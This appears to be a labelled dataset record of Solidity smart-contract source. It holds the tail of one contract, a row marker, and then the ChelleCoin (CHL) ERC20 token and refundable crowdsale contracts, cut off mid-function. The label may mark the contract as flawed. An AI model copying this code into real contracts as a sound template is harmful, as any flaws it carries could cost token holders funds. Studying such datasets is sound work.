allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,350 |
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
address public newOwner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract OpenZeppelinERC20 is StandardToken, Ownable {
using SafeMath for uint256;
uint8 public decimals;
string public name;
string public symbol;
string public standard;
constructor(
uint256 _totalSupply,
string _tokenName,
uint8 _decimals,
string _tokenSymbol,
bool _transferAllSupplyToOwner
) public {
standard = 'ERC20 0.1';
totalSupply_ = _totalSupply;
if (_transferAllSupplyToOwner) {
balances[msg.sender] = _totalSupply;
} else {
balances[this] = _totalSupply;
}
name = _tokenName;
symbol = _tokenSymbol;
decimals = _decimals;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract MintableToken is BasicToken, Ownable {
using SafeMath for uint256;
uint256 public maxSupply;
bool public allowedMinting;
mapping(address => bool) public mintingAgents;
mapping(address => bool) public stateChangeAgents;
event Mint(address indexed holder, uint256 tokens);
modifier onlyMintingAgents () {
require(mintingAgents[msg.sender]);
_;
}
modifier onlyStateChangeAgents () {
require(stateChangeAgents[msg.sender]);
_;
}
constructor(uint256 _maxSupply, uint256 _mintedSupply, bool _allowedMinting) public {
maxSupply = _maxSupply;
totalSupply_ = totalSupply_.add(_mintedSupply);
allowedMinting = _allowedMinting;
mintingAgents[msg.sender] = true;
}
function mint(address _holder, uint256 _tokens) public onlyMintingAgents() {
require(allowedMinting == true && totalSupply_.add(_tokens) <= maxSupply);
totalSupply_ = totalSupply_.add(_tokens);
balances[_holder] = balanceOf(_holder).add(_tokens);
if (totalSupply_ == maxSupply) {
allowedMinting = false;
}
emit Mint(_holder, _tokens);
}
function disableMinting() public onlyStateChangeAgents() {
allowedMinting = false;
}
function updateMintingAgent(address _agent, bool _status) public onlyOwner {
mintingAgents[_agent] = _status;
}
function updateStateChangeAgent(address _agent, bool _status) public onlyOwner {
stateChangeAgents[_agent] = _status;
}
function availableTokens() public view returns (uint256 tokens) {
return maxSupply.sub(totalSupply_);
}
}
contract MintableBurnableToken is MintableToken, BurnableToken {
mapping (address => bool) public burnAgents;
modifier onlyBurnAgents () {
require(burnAgents[msg.sender]);
_;
}
event Burn(address indexed burner, uint256 value);
constructor(
uint256 _maxSupply,
uint256 _mintedSupply,
bool _allowedMinting
) public MintableToken(
_maxSupply,
_mintedSupply,
_allowedMinting
) {
}
function updateBurnAgent(address _agent, bool _status) public onlyOwner {
burnAgents[_agent] = _status;
}
function burnByAgent(address _holder, uint256 _tokensToBurn) public onlyBurnAgents() returns (uint256) {
if (_tokensToBurn == 0) {
_tokensToBurn = balanceOf(_holder);
}
_burn(_holder, _tokensToBurn);
return _tokensToBurn;
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
maxSupply = maxSupply.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract TimeLocked {
uint256 public time;
mapping(address => bool) public excludedAddresses;
modifier isTimeLocked(address _holder, bool _timeLocked) {
bool locked = (block.timestamp < time);
require(excludedAddresses[_holder] == true || locked == _timeLocked);
_;
}
constructor(uint256 _time) public {
time = _time;
}
function updateExcludedAddress(address _address, bool _status) public;
}
contract TimeLockedToken is TimeLocked, StandardToken {
constructor(uint256 _time) public TimeLocked(_time) {}
function transfer(address _to, uint256 _tokens) public isTimeLocked(msg.sender, false) returns (bool) {
return super.transfer(_to, _tokens);
}
function transferFrom(
address _holder,
address _to,
uint256 _tokens
) public isTimeLocked(_holder, false) returns (bool) {
return super.transferFrom(_holder, _to, _tokens);
}
}
contract CHLToken is OpenZeppelinERC20, MintableBurnableToken, TimeLockedToken {
CHLCrowdsale public crowdsale;
bool public isSoftCapAchieved;
constructor(uint256 _unlockTokensTime) public
OpenZeppelinERC20(0, 'ChelleCoin', 18, 'CHL', false)
MintableBurnableToken(59500000e18, 0, true)
TimeLockedToken(_unlockTokensTime) {
}
function updateMaxSupply(uint256 _newMaxSupply) public onlyOwner {
require(_newMaxSupply > 0);
maxSupply = _newMaxSupply;
}
function updateExcludedAddress(address _address, bool _status) public onlyOwner {
excludedAddresses[_address] = _status;
}
function setCrowdSale(address _crowdsale) public onlyOwner {
require(_crowdsale != address(0));
crowdsale = CHLCrowdsale(_crowdsale);
}
function setUnlockTime(uint256 _unlockTokensTime) public onlyStateChangeAgents {
time = _unlockTokensTime;
}
function setIsSoftCapAchieved() public onlyStateChangeAgents {
isSoftCapAchieved = true;
}
function transfer(address _to, uint256 _tokens) public returns (bool) {
require(true == isTransferAllowed(msg.sender, _tokens));
return super.transfer(_to, _tokens);
}
function transferFrom(address _holder, address _to, uint256 _tokens) public returns (bool) {
require(true == isTransferAllowed(_holder, _tokens));
return super.transferFrom(_holder, _to, _tokens);
}
function isTransferAllowed(address _address, uint256 _value) public view returns (bool) {
if (excludedAddresses[_address] == true) {
return true;
}
if (!isSoftCapAchieved && (address(crowdsale) == address(0) || false == crowdsale.isSoftCapAchieved(0))) {
return false;
}
return true;
}
function burnUnsoldTokens(uint256 _tokensToBurn) public onlyBurnAgents() returns (uint256) {
require(totalSupply_.add(_tokensToBurn) <= maxSupply);
maxSupply = maxSupply.sub(_tokensToBurn);
emit Burn(address(0), _tokensToBurn);
return _tokensToBurn;
}
}
contract Agent {
using SafeMath for uint256;
function isInitialized() public constant returns (bool) {
return false;
}
}
contract CrowdsaleAgent is Agent {
Crowdsale public crowdsale;
bool public _isInitialized;
modifier onlyCrowdsale() {
require(msg.sender == address(crowdsale));
_;
}
constructor(Crowdsale _crowdsale) public {
crowdsale = _crowdsale;
if (address(0) != address(_crowdsale)) {
_isInitialized = true;
} else {
_isInitialized = false;
}
}
function isInitialized() public constant returns (bool) {
return _isInitialized;
}
function onContribution(address _contributor, uint256 _weiAmount, uint256 _tokens, uint256 _bonus)
public onlyCrowdsale();
function onStateChange(Crowdsale.State _state) public onlyCrowdsale();
function onRefund(address _contributor, uint256 _tokens) public onlyCrowdsale() returns (uint256 burned);
}
contract MintableCrowdsaleOnSuccessAgent is CrowdsaleAgent {
Crowdsale public crowdsale;
MintableToken public token;
bool public _isInitialized;
constructor(Crowdsale _crowdsale, MintableToken _token) public CrowdsaleAgent(_crowdsale) {
crowdsale = _crowdsale;
token = _token;
if (address(0) != address(_token) &&
address(0) != address(_crowdsale)) {
_isInitialized = true;
} else {
_isInitialized = false;
}
}
function isInitialized() public constant returns (bool) {
return _isInitialized;
}
function onContribution(address _contributor, uint256 _weiAmount, uint256 _tokens, uint256 _bonus)
public onlyCrowdsale() {
_contributor = _contributor;
_weiAmount = _weiAmount;
_tokens = _tokens;
_bonus = _bonus;
}
function onStateChange(Crowdsale.State _state) public onlyCrowdsale() {
if (_state == Crowdsale.State.Success) {
token.disableMinting();
}
}
function onRefund(address _contributor, uint256 _tokens) public onlyCrowdsale() returns (uint256 burned) {
_contributor = _contributor;
_tokens = _tokens;
}
}
contract CHLAgent is MintableCrowdsaleOnSuccessAgent, Ownable {
CHLPricingStrategy public strategy;
CHLCrowdsale public crowdsale;
CHLAllocation public allocation;
bool public isEndProcessed;
constructor(
CHLCrowdsale _crowdsale,
CHLToken _token,
CHLPricingStrategy _strategy,
CHLAllocation _allocation
) public MintableCrowdsaleOnSuccessAgent(_crowdsale, _token) {
strategy = _strategy;
crowdsale = _crowdsale;
allocation = _allocation;
}
function setPricingStrategy(CHLPricingStrategy _strategy) public onlyOwner {
strategy = _strategy;
}
function setAllocation(CHLAllocation _allocation) public onlyOwner {
allocation = _allocation;
}
function burnUnsoldTokens(uint256 _tierId) public onlyOwner {
uint256 tierUnsoldTokensAmount = strategy.getTierUnsoldTokens(_tierId);
require(tierUnsoldTokensAmount > 0);
CHLToken(token).burnUnsoldTokens(tierUnsoldTokensAmount);
}
function onContribution(
address,
uint256 _tierId,
uint256 _tokens,
uint256 _bonus
) public onlyCrowdsale() {
strategy.updateTierTokens(_tierId, _tokens, _bonus);
}
function onStateChange(Crowdsale.State _state) public onlyCrowdsale() {
CHLToken chlToken = CHLToken(token);
if (
chlToken.isSoftCapAchieved() == false
&& (_state == Crowdsale.State.Success || _state == Crowdsale.State.Finalized)
&& crowdsale.isSoftCapAchieved(0)
) {
chlToken.setIsSoftCapAchieved();
}
if (_state > Crowdsale.State.InCrowdsale && isEndProcessed == false) {
allocation.allocateFoundersTokens(strategy.getSaleEndDate());
}
}
function onRefund(address _contributor, uint256 _tokens) public onlyCrowdsale() returns (uint256 burned) {
burned = CHLToken(token).burnByAgent(_contributor, _tokens);
}
function updateStateWithPrivateSale(
uint256 _tierId,
uint256 _tokensAmount,
uint256 _usdAmount
) public {
require(msg.sender == address(allocation));
strategy.updateMaxTokensCollected(_tierId, _tokensAmount);
crowdsale.updateStatsVars(_usdAmount, _tokensAmount);
}
function updateLockPeriod(uint256 _time) public {
require(msg.sender == address(strategy));
CHLToken(token).setUnlockTime(_time.add(12 weeks));
}
}
contract TokenAllocator is Ownable {
mapping(address => bool) public crowdsales;
modifier onlyCrowdsale() {
require(crowdsales[msg.sender]);
_;
}
function addCrowdsales(address _address) public onlyOwner {
crowdsales[_address] = true;
}
function removeCrowdsales(address _address) public onlyOwner {
crowdsales[_address] = false;
}
function isInitialized() public constant returns (bool) {
return false;
}
function allocate(address _holder, uint256 _tokens) public onlyCrowdsale() {
internalAllocate(_holder, _tokens);
}
function tokensAvailable() public constant returns (uint256);
function internalAllocate(address _holder, uint256 _tokens) internal onlyCrowdsale();
}
contract MintableTokenAllocator is TokenAllocator {
using SafeMath for uint256;
MintableToken public token;
constructor(MintableToken _token) public {
require(address(0) != address(_token));
token = _token;
}
function tokensAvailable() public constant returns (uint256) {
return token.availableTokens();
}
function allocate(address _holder, uint256 _tokens) public onlyCrowdsale() {
internalAllocate(_holder, _tokens);
}
function isInitialized() public constant returns (bool) {
return token.mintingAgents(this);
}
function setToken(MintableToken _token) public onlyOwner {
token = _token;
}
function internalAllocate(address _holder, uint256 _tokens) internal {
token.mint(_holder, _tokens);
}
}
contract ContributionForwarder {
using SafeMath for uint256;
uint256 public weiCollected;
uint256 public weiForwarded;
event ContributionForwarded(address receiver, uint256 weiAmount);
function isInitialized() public constant returns (bool) {
return false;
}
function forward() public payable {
require(msg.value > 0);
weiCollected += msg.value;
internalForward();
}
function internalForward() internal;
}
contract DistributedDirectContributionForwarder is ContributionForwarder {
Receiver[] public receivers;
uint256 public proportionAbsMax;
bool public isInitialized_;
struct Receiver {
address receiver;
uint256 proportion;
uint256 forwardedWei;
}
constructor(uint256 _proportionAbsMax, address[] _receivers, uint256[] _proportions) public {
proportionAbsMax = _proportionAbsMax;
require(_receivers.length == _proportions.length);
require(_receivers.length > 0);
uint256 totalProportion;
for (uint256 i = 0; i < _receivers.length; i++) {
uint256 proportion = _proportions[i];
totalProportion = totalProportion.add(proportion);
receivers.push(Receiver(_receivers[i], proportion, 0));
}
require(totalProportion == proportionAbsMax);
isInitialized_ = true;
}
function isInitialized() public constant returns (bool) {
return isInitialized_;
}
function internalForward() internal {
uint256 transferred;
for (uint256 i = 0; i < receivers.length; i++) {
Receiver storage receiver = receivers[i];
uint256 value = msg.value.mul(receiver.proportion).div(proportionAbsMax);
if (i == receivers.length - 1) {
value = msg.value.sub(transferred);
}
transferred = transferred.add(value);
receiver.receiver.transfer(value);
emit ContributionForwarded(receiver.receiver, value);
}
weiForwarded = weiForwarded.add(transferred);
}
}
contract Crowdsale {
uint256 public tokensSold;
enum State {Unknown, Initializing, BeforeCrowdsale, InCrowdsale, Success, Finalized, Refunding}
function externalContribution(address _contributor, uint256 _wei) public payable;
function contribute(uint8 _v, bytes32 _r, bytes32 _s) public payable;
function updateState() public;
function internalContribution(address _contributor, uint256 _wei) internal;
function getState() public view returns (State);
}
contract CrowdsaleImpl is Crowdsale, Ownable {
using SafeMath for uint256;
State public currentState;
TokenAllocator public allocator;
ContributionForwarder public contributionForwarder;
PricingStrategy public pricingStrategy;
CrowdsaleAgent public crowdsaleAgent;
bool public finalized;
uint256 public startDate;
uint256 public endDate;
bool public allowWhitelisted;
bool public allowSigned;
bool public allowAnonymous;
mapping(address => bool) public whitelisted;
mapping(address => bool) public signers;
mapping(address => bool) public externalContributionAgents;
event Contribution(address _contributor, uint256 _wei, uint256 _tokensExcludingBonus, uint256 _bonus);
constructor(
TokenAllocator _allocator,
ContributionForwarder _contributionForwarder,
PricingStrategy _pricingStrategy,
uint256 _startDate,
uint256 _endDate,
bool _allowWhitelisted,
bool _allowSigned,
bool _allowAnonymous
) public {
allocator = _allocator;
contributionForwarder = _contributionForwarder;
pricingStrategy = _pricingStrategy;
startDate = _startDate;
endDate = _endDate;
allowWhitelisted = _allowWhitelisted;
allowSigned = _allowSigned;
allowAnonymous = _allowAnonymous;
currentState = State.Unknown;
}
function() public payable {
require(allowWhitelisted || allowAnonymous);
if (!allowAnonymous) {
if (allowWhitelisted) {
require(whitelisted[msg.sender]);
}
}
internalContribution(msg.sender, msg.value);
}
function setCrowdsaleAgent(CrowdsaleAgent _crowdsaleAgent) public onlyOwner {
crowdsaleAgent = _crowdsaleAgent;
}
function externalContribution(address _contributor, uint256 _wei) public payable {
require(externalContributionAgents[msg.sender]);
internalContribution(_contributor, _wei);
}
function addExternalContributor(address _contributor) public onlyOwner {
externalContributionAgents[_contributor] = true;
}
function removeExternalContributor(address _contributor) public onlyOwner {
externalContributionAgents[_contributor] = false;
}
function updateWhitelist(address _address, bool _status) public onlyOwner {
whitelisted[_address] = _status;
}
function addSigner(address _signer) public onlyOwner {
signers[_signer] = true;
}
function removeSigner(address _signer) public onlyOwner {
signers[_signer] = false;
}
function contribute(uint8 _v, bytes32 _r, bytes32 _s) public payable {
address recoveredAddress = verify(msg.sender, _v, _r, _s);
require(signers[recoveredAddress]);
internalContribution(msg.sender, msg.value);
}
function updateState() public {
State state = getState();
if (currentState != state) {
if (crowdsaleAgent != address(0)) {
crowdsaleAgent.onStateChange(state);
}
currentState = state;
}
}
function internalContribution(address _contributor, uint256 _wei) internal {
require(getState() == State.InCrowdsale);
uint256 tokensAvailable = allocator.tokensAvailable();
uint256 collectedWei = contributionForwarder.weiCollected();
uint256 tokens;
uint256 tokensExcludingBonus;
uint256 bonus;
(tokens, tokensExcludingBonus, bonus) = pricingStrategy.getTokens(
_contributor, tokensAvailable, tokensSold, _wei, collectedWei);
require(tokens > 0 && tokens <= tokensAvailable);
tokensSold = tokensSold.add(tokens);
allocator.allocate(_contributor, tokens);
if (msg.value > 0) {
contributionForwarder.forward.value(msg.value)();
}
emit Contribution(_contributor, _wei, tokensExcludingBonus, bonus);
}
function verify(address _sender, uint8 _v, bytes32 _r, bytes32 _s) public view returns (address) {
bytes32 hash = keccak256(abi.encodePacked(this, _sender));
bytes memory prefix = '\x19Ethereum Signed Message:\n32';
return ecrecover(keccak256(abi.encodePacked(prefix, hash)), _v, _r, _s);
}
function getState() public view returns (State) {
if (finalized) {
return State.Finalized;
} else if (allocator.isInitialized() == false) {
return State.Initializing;
} else if (contributionForwarder.isInitialized() == false) {
return State.Initializing;
} else if (pricingStrategy.isInitialized() == false) {
return State.Initializing;
} else if (block.timestamp < startDate) {
return State.BeforeCrowdsale;
} else if (block.timestamp >= startDate && block.timestamp <= endDate) {
return State.InCrowdsale;
} else if (block.timestamp > endDate) {
return State.Success;
}
return State.Unknown;
}
}
contract HardCappedCrowdsale is CrowdsaleImpl {
using SafeMath for uint256;
uint256 public hardCap;
constructor(
TokenAllocator _allocator,
ContributionForwarder _contributionForwarder,
PricingStrategy _pricingStrategy,
uint256 _startDate,
uint256 _endDate,
bool _allowWhitelisted,
bool _allowSigned,
bool _allowAnonymous,
uint256 _hardCap
) public CrowdsaleImpl(
_allocator,
_contributionForwarder,
_pricingStrategy,
_startDate,
_endDate,
_allowWhitelisted,
_allowSigned,
_allowAnonymous
) {
hardCap = _hardCap;
}
function getState() public view returns (State) {
State state = super.getState();
if (state == State.InCrowdsale) {
if (isHardCapAchieved(0)) {
return State.Success;
}
}
return state;
}
function isHardCapAchieved(uint256 _value) public view returns (bool) {
if (hardCap <= tokensSold.add(_value)) {
return true;
}
return false;
}
function internalContribution(address _contributor, uint256 _wei) internal {
require(getState() == State.InCrowdsale);
uint256 tokensAvailable = allocator.tokensAvailable();
uint256 collectedWei = contributionForwarder.weiCollected();
uint256 tokens;
uint256 tokensExcludingBonus;
uint256 bonus;
(tokens, tokensExcludingBonus, bonus) = pricingStrategy.getTokens(
_contributor, tokensAvailable, tokensSold, _wei, collectedWei);
require(tokens <= tokensAvailable && tokens > 0 && false == isHardCapAchieved(tokens.sub(1)));
tokensSold = tokensSold.add(tokens);
allocator.allocate(_contributor, tokens);
if (msg.value > 0) {
contributionForwarder.forward.value(msg.value)();
}
crowdsaleAgent.onContribution(_contributor, _wei, tokensExcludingBonus, bonus);
emit Contribution(_contributor, _wei, tokensExcludingBonus, bonus);
}
}
contract RefundableCrowdsale is HardCappedCrowdsale {
using SafeMath for uint256;
uint256 public softCap;
mapping(address => uint256) public contributorsWei;
address[] public contributors;
event Refund(address _holder, uint256 _wei, uint256 _tokens);
constructor(
TokenAllocator _allocator,
ContributionForwarder _contributionForwarder,
PricingStrategy _pricingStrategy,
uint256 _startDate,
uint256 _endDate,
bool _allowWhitelisted,
bool _allowSigned,
bool _allowAnonymous,
uint256 _softCap,
uint256 _hardCap
) public HardCappedCrowdsale(
_allocator, _contributionForwarder, _pricingStrategy,
_startDate, _endDate,
_allowWhitelisted, _allowSigned, _allowAnonymous, _hardCap
) {
softCap = _softCap;
}
function refund() public {
internalRefund(msg.sender);
}
function delegatedRefund(address _address) public {
internalRefund(_address);
}
function internalContribution(address _contributor, uint256 _wei) internal {
require(block.timestamp >= startDate && block.timestamp <= endDate);
uint256 tokensAvailable = allocator.tokensAvailable();
uint256 collectedWei = contributionForwarder.weiCollected();
uint256 tokens;
uint256 tokensExcludingBonus;
uint256 bonus;
(tokens, tokensExcludingBonus, bonus) = pricingStrategy.getTokens(
_contributor, tokensAvailable, tokensSold, _wei, collectedWei);
require(tokens <= tokensAvailable && tokens > 0 && hardCap > tokensSold.add(tokens));
tokensSold = tokensSold.add(tokens);
allocator.allocate(_contributor, tokens);
if (isSoftCapAchieved(0)) {
if (msg.value > 0) {
contributionForwarder.forward.value(address(this).balance)();
}
} else {
if (contributorsWei[_contributor] == 0) {
contributors.push(_contributor);
}
contributorsWei[_contributor] = contributorsWei[_contributor].add(msg.value);
}
crowdsaleAgent.onContribution(_contributor, _wei, tokensExcludingBonus, bonus);
emit Contribution(_contributor, _wei, tokensExcludingBonus, bonus);
}
function internalRefund(address _holder) internal {
updateState();
require(block.timestamp > endDate);
require(!isSoftCapAchieved(0));
require(crowdsaleAgent != address(0));
uint256 value = contributorsWei[_holder];
require(value > 0);
contributorsWei[_holder] = 0;
uint256 burnedTokens = crowdsaleAgent.onRefund(_holder, 0);
_holder.transfer(value);
emit Refund(_holder, value, burnedTokens);
}
function getState() public view returns (State) {
State state = super.getState();
if (state == State.Success) {
if (!isSoftCapAchieved(0)) {
return State.Refunding;
}
}
return state;
}
function isSoftCapAchieved(uint256 _value) public view returns (bool) {
if (softCap <= tokensSold.add(_value)) {
return true;
}
return false;
}
}
contract CHLCrowdsale is RefundableCrowdsale {
uint256 public maxSaleSupply = 38972500e18;
uint256 public usdCollected;
address public processingFeeAddress;
uint256 public percentageAbsMax = 1000;
uint256 public processingFeePercentage = 25;
event ProcessingFeeAllocation(address _contributor, uint256 _feeAmount);
event Contribution(address _contributor, uint256 _usdAmount, uint256 _tokensExcludingBonus, uint256 _bonus);
constructor(
MintableTokenAllocator _allocator,
DistributedDirectContributionForwarder _contributionForwarder,
CHLPricingStrategy _pricingStrategy,
uint256 _startTime,
uint256 _endTime,
address _processingFeeAddress
) public RefundableCrowdsale(
_allocator,
_contributionForwarder,
_pricingStrategy,
_startTime,
_endTime,
true,
true,
false,
10000000e5,
102860625e5
) {
require(_processingFeeAddress != address(0));
processingFeeAddress = _processingFeeAddress;
}
function() public payable {
require(allowWhitelisted || allowAnonymous);
if (!allowAnonymous) {
if (allowWhitelisted) {
require(whitelisted[msg.sender]);
}
}
internalContribution(
msg.sender,
CHLPricingStrategy(pricingStrategy).getUSDAmountByWeis(msg.value)
);
}
function contribute(uint8 _v, bytes32 _r, bytes32 _s) public payable {
address recoveredAddress = verify(msg.sender, _v, _r, _s);
require(signers[recoveredAddress]);
internalContribution(
msg.sender,
CHLPricingStrategy(pricingStrategy).getUSDAmountByWeis(msg.value)
);
}
function externalContribution(address _contributor, uint256 _usdAmount) public payable {
require(externalContributionAgents[msg.sender]);
internalContribution(_contributor, _usdAmount);
}
function updateState() public {
(startDate, endDate) = CHLPricingStrategy(pricingStrategy).getActualDates();
super.updateState();
}
function isHardCapAchieved(uint256 _value) public view returns (bool) {
if (hardCap <= usdCollected.add(_value)) {
return true;
}
return false;
}
function isSoftCapAchieved(uint256 _value) public view returns (bool) {
if (softCap <= usdCollected.add(_value)) {
return true;
}
return false;
}
function getUnsoldTokensAmount() public view returns (uint256) {
return maxSaleSupply.sub(tokensSold);
}
function updateStatsVars(uint256 _usdAmount, uint256 _tokensAmount) public {
require(msg.sender == address(crowdsaleAgent) && _tokensAmount > 0);
tokensSold = tokensSold.add(_tokensAmount);
usdCollected = usdCollected.add(_usdAmount);
}
function internalContribution(address _contributor, uint256 _usdAmount) internal {
updateState();
require(currentState == State.InCrowdsale);
CHLPricingStrategy pricing = CHLPricingStrategy(pricingStrategy);
require(!isHardCapAchieved(_usdAmount.sub(1)));
uint256 tokensAvailable = allocator.tokensAvailable();
uint256 collectedWei = contributionForwarder.weiCollected();
uint256 tierIndex = pricing.getTierIndex();
uint256 tokens;
uint256 tokensExcludingBonus;
uint256 bonus;
(tokens, tokensExcludingBonus, bonus) = pricing.getTokens(
_contributor, tokensAvailable, tokensSold, _usdAmount, collectedWei);
require(tokens > 0);
tokensSold = tokensSold.add(tokens);
allocator.allocate(_contributor, tokens);
uint256 processingFeeAmount = tokens.mul(processingFeePercentage).div(percentageAbsMax);
allocator.allocate(processingFeeAddress, processingFeeAmount);
if (isSoftCapAchieved(_usdAmount)) {
if (msg.value > 0) {
contributionForwarder.forward.value(address(this).balance)();
}
} else {
if (contributorsWei[_contributor] == 0) {
contributors.push(_contributor);
}
if (msg.value > 0) {
contributorsWei[_contributor] = contributorsWei[_contributor].add(msg.value);
}
}
usdCollected = usdCollected.add(_usdAmount);
crowdsaleAgent.onContribution(_contributor, tierIndex, tokensExcludingBonus, bonus);
emit Contribution(_contributor, _usdAmount, tokensExcludingBonus, bonus);
emit ProcessingFeeAllocation(_contributor, processingFeeAmount);
}
}
contract USDExchange is Ownable {
using SafeMath for uint256;
uint256 public etherPriceInUSD;
uint256 public priceUpdateAt;
mapping(address => bool) public trustedAddresses;
event NewPriceTicker(string _price);
modifier onlyTursted() {
require(trustedAddresses[msg.sender] == true);
_;
}
constructor(uint256 _etherPriceInUSD) public {
etherPriceInUSD = _etherPriceInUSD;
priceUpdateAt = block.timestamp;
trustedAddresses[msg.sender] = true;
}
function setTrustedAddress(address _address, bool _status) public onlyOwner {
trustedAddresses[_address] = _status;
}
function setEtherInUSD(string _price) public onlyTursted {
bytes memory bytePrice = bytes(_price);
uint256 dot = bytePrice.length.sub(uint256(6));
require(0x2e == uint(bytePrice[dot]));
uint256 newPrice = uint256(10 ** 23).div(parseInt(_price, 5));
require(newPrice > 0);
etherPriceInUSD = parseInt(_price, 5);
priceUpdateAt = block.timestamp;
emit NewPriceTicker(_price);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint res = 0;
bool decimals = false;
for (uint i = 0; i < bresult.length; i++) {
if ((bresult[i] >= 48) && (bresult[i] <= 57)) {
if (decimals) {
if (_b == 0) break;
else _b--;
}
res *= 10;
res += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) res *= 10 ** _b;
return res;
}
}
contract PricingStrategy {
function isInitialized() public view returns (bool);
function getTokens(
address _contributor,
uint256 _tokensAvailable,
uint256 _tokensSold,
uint256 _weiAmount,
uint256 _collectedWei
)
public
view
returns (uint256 tokens, uint256 tokensExcludingBonus, uint256 bonus);
function getWeis(
uint256 _collectedWei,
uint256 _tokensSold,
uint256 _tokens
)
public
view
returns (uint256 weiAmount, uint256 tokensBonus);
}
contract USDDateTiersPricingStrategy is PricingStrategy, USDExchange {
using SafeMath for uint256;
struct Tier {
uint256 tokenInUSD;
uint256 maxTokensCollected;
uint256 bonusCap;
uint256 soldTierTokens;
uint256 bonusTierTokens;
uint256 bonusPercents;
uint256 minInvestInUSD;
uint256 startDate;
uint256 endDate;
}
Tier[] public tiers;
uint256 public decimals;
constructor(uint256[] _tiers, uint256 _decimals, uint256 _etherPriceInUSD) public USDExchange(_etherPriceInUSD) {
decimals = _decimals;
trustedAddresses[msg.sender] = true;
require(_tiers.length % 9 == 0);
uint256 length = _tiers.length / 9;
for (uint256 i = 0; i < length; i++) {
tiers.push(
Tier(
_tiers[i * 9],
_tiers[i * 9 + 1],
_tiers[i * 9 + 2],
_tiers[i * 9 + 3],
_tiers[i * 9 + 4],
_tiers[i * 9 + 5],
_tiers[i * 9 + 6],
_tiers[i * 9 + 7],
_tiers[i * 9 + 8]
)
);
}
}
function getTierIndex() public view returns (uint256) {
for (uint256 i = 0; i < tiers.length; i++) {
if (
block.timestamp >= tiers[i].startDate &&
block.timestamp < tiers[i].endDate &&
tiers[i].maxTokensCollected > tiers[i].soldTierTokens
) {
return i;
}
}
return tiers.length;
}
function getActualTierIndex() public view returns (uint256) {
for (uint256 i = 0; i < tiers.length; i++) {
if (
block.timestamp >= tiers[i].startDate
&& block.timestamp < tiers[i].endDate
&& tiers[i].maxTokensCollected > tiers[i].soldTierTokens
|| block.timestamp < tiers[i].startDate
) {
return i;
}
}
return tiers.length.sub(1);
}
function getActualDates() public view returns (uint256 startDate, uint256 endDate) {
uint256 tierIndex = getActualTierIndex();
startDate = tiers[tierIndex].startDate;
endDate = tiers[tierIndex].endDate;
}
function getTokens(
address,
uint256 _tokensAvailable,
uint256,
uint256 _usdAmount,
uint256
